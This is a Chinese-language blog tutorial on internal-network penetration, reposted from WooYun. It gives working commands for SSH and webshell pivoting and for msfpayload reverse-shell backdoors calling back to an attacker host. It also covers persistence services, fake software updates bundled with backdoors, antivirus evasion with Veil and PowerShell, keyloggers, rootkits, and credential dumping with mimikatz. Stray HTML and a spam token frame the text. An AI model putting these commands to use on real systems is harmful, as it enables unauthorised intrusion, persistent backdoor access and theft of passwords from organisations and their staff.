<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/5234

    0x00 前言


    之前看到微博有人私信我說內網滲透的技巧,zone也有很多小伙伴問了一些內網滲透的問題,所以我就斗膽寫了這篇文章,有不對的,還請各位斧正

    整個內網滲透肯定不是一篇兩篇文章能夠講述清楚的,所以標題寫作隨想,想到哪兒寫哪兒

    0x01 內網代理和轉發


    image

    *簡單區分一下正向代理和反向代理

    1.1 正向代理(Forward Proxy)


    Lhost--》proxy--》Rhost
    

    Lhost為了訪問到Rhost,向proxy發送了一個請求并且指定目標是Rhost,然后proxy向Rhost轉交請求并將獲得的內容返回給Lhost,簡單來說正向代理就是proxy代替了我們去訪問Rhost。

    1.2 反向代理(reverse proxy)


    Lhost<--->proxy<--->firewall<--->Rhost
    

    和正向代理相反(廢話),Lhost只向proxy發送普通的請求,具體讓他轉到哪里,proxy自己判斷,然后將返回的數據遞交回來,這樣的好處就是在某些防火墻只允許proxy數據進出的時候可以有效的進行穿透

    1.3 簡單區分


    正向代理是我們自己(Lhost)戴套(proxy)插進去,反向代理是她(Rhost)主動通過上位(proxy)坐上來(Lhost)

    zone里內網滲透代理問題有人問了如何代理進行內網滲透的問題
    誠然,要進行內網滲透,代理是我們最先需要解決的問題,常見的代理方式大概可以分為這么幾種:

    2. VPN隧道/SSH隧道


    這種代理方式需要比較高的權限(system/root)直接使用系統功能來開啟內網代理的隧道,配置VPN都比較簡單,這里不做贅述,我們看一看通過SSH隧道進行代理

    #!bash
    ssh -qTfnN -L port:host:hostport -l user remote_ip   #正向隧道,監聽本地port
    ssh -qTfnN -R port:host:hostport -l user remote_ip   #反向隧道,用于內網穿透防火墻限制之類
    SSH -qTfnN -D port remotehost   #直接進行socks代理
    
    參數詳解:
    -q Quiet mode. 安靜模式
    -T Disable pseudo-tty allocation. 不占用 shell 了
    -f Requests ssh to go to background just before command execution. 后臺運行,并推薦加上 -n 參數
    -N Do not execute a remote command. 不執行遠程命令,端口轉發就用它了~
    

    有時候,我們手邊沒有端口轉發的工具,也可以通過ssh來做端口轉發

    #!bash
    ssh -CfNg -L port1:127.0.0.1:port2 [email protected]    #本地轉發
    ssh -CfNg -R port2:127.0.0.1:port1 [email protected]    #遠程轉發
    

    大家可以參考這篇paper,非常棒SSH Port Forwarding

    3. 通過HTTP service的代理


    簡單來說就是在目標服務器上傳一個webshell,通過shell來做所有的流量轉發到內網,常見的幾個工具有reGeorg,meterpreter,tunna等等,甚至直接寫一個簡單的代理腳本,在自己機器上配置一下nginx直接進行反向代理

    注意安裝urllib3即可(regeorg很方便,我基本都用這個)

    msf非常強大,在進行內網滲透的時候不失為一個好的選擇,要用它進行代理,可以直接生成一個可執行文件后門,然后返回meterpreter,也可以生成一個webshell來返回meterpreter,關于meterpreter,Dm老師已經說的非常清楚了metasploit 滲透測試筆記(meterpreter篇)

    3.1 windows生成后門


    #!bash
    msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
    

    3.2 Linux生成后門


    #!bash
    msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell
    

    3.3 php后門


    #!bash
    msfpayload php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -e php/base64(可簡單編碼) -t raw -o base64php.php
    

    獲得meterpreter會話后,就是msf盡情施展的時候了,最常用的辦法,添加路由表后,直接在會話中用msf的各種攻擊模塊進行掃描(注意,這里是可以進行跨網段掃描的)

    如果單純只是想要進行簡單的代理工作,auxiliary/server/socks4a模塊即可

    這里講到meterpreter所以多說一句,之前說的ssh隧道,如果嫌命令難得記,也可以簡單的通過msf來建立tunnel

    #!bash
    load meta_ssh
    use multi/ssh/login_password
    設置好參數后exploit即可獲取會話進行代理操作
    

    http://zone.wooyun.org/content/11096

    4. other tricks


    python,ruby,perl等直接建立socks連接

    lcx,tunna,htran等等進行端口流量轉發

    shadowsocks,tor,goagent等等

    直接現成的小東西:ssocks(一次比賽的時候死貓跟我推薦的)正向代理,反彈socks5均可

    0x02 內網環境探測和信息收集


    因為一個完整的滲透很難涵蓋各種情況,所以這里講的可能比較散,基本都是一些小技巧和思路

    0x03 內網滲透的常見攻擊技巧


    主要對ssh,dbserver,vnc,ftp進行爆破

    image

    常用ettercap,不建議做arp的mitm,可以嘗試dhcp mitm或者icmp mitm

    也可以猥瑣一點,劫持插件,攻擊網關,或者利用evilgrade去偽造軟件更新(如notepad++),然后捆綁上后門,直接打下工作機器,進入辦公網

    image

    image

    簡單配置后用msf生成后門,start即可配合ettercap使用偽造軟件更新了

    image

    但是在針對這些比較古老的漏洞攻擊時,很可能有AV攔截,所以在不同場景遇到的坑都不一樣

    比如之前在西電DM牛告訴我,有AV,如果直接利用psexec返回會話,即會攔截,這時就可以利用powershell來bypass AVPowershell tricks::Bypass AV

    0x04 后滲透準備和擴大戰果


    一次完美的內網滲透肯定不是能夠一次性完成的,因為整個過程需要管理員的"配合"(口胡。。。)所以后滲透準備時很有必要的

    1. 后門準備


    msf的后門已經不錯,只需要稍加改造就能很好滿足我們的需求

    普通msfpayload生成的后門不是持續性的,不利于我們下次繼續工作,所以需要一個持續性后門

    msf的持續性后門有兩種,通過服務啟動(metsvc)和通過啟動項啟動(persistence)

    通過服務的后門有個弊端,服務名稱是meterpreter,利用方式是: 上傳后門,通過metsvc安裝服務

    #!bash
    meterpreter > run metsvc
    ...(設定端口,并且上傳后門文件)
    use exploit/multi/handler
    set PAYLOAD windows/metsvc_bind_tcp
    exploit
    

    通過啟動項的利用方式:

    #!bash
    meterpreter > run persistence -X -i 10 -p port -r hostip
    
    use multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    exploit
    

    當然,直接生成的后門有可能會被殺,所以這里我推薦一個很不錯的工具,veil,之前再一次小型apt中用這個生成了的后門直接bypass了360

    linux下有兩個常用的后門

    mafix rookit和Cymothoa,后者聽說可以克隆root用戶,不過大部分的backdoor基本都相當于一個加密nc,會新開端口,所以如果webshell存活,可以直接考慮用webshell維持權限

    2. 鍵盤記錄


    keylogger在內網滲透過程中(尤其是比較大的內網),起到很關鍵的作用,因為搞定一個密碼,有可能就搞定了一個網段

    ixkeylog是我常用的一個,linux>=2.63均可使用

    或者使用meterpreter會話的自帶鍵盤記錄功能

    keyscan_start
    keyscan_dump
    

    image

    image

    用meterpreter有個好處,就是在win中可以做內存注入,不會創建進程

    這里說一個小tips,如果覺得keylogger動作大,可以進系統后把一些你需要的管理工具,如navicat,putty,PLSQL,SecureCRT之類全部選成記住密碼

    3. hash


    mimikatz,不用多說,利用meterpreter可以直接load模塊

    Quarks PwDump

    wce

    0x05 something else


    內網滲透涉及的面很廣,本文主要說到的是一些很簡單的問題和常規的思路

    尚未談到的 域滲透 打印機 辦公網嗅探 入侵日志清理等等

    如果有機會,日后慢慢補全

    97av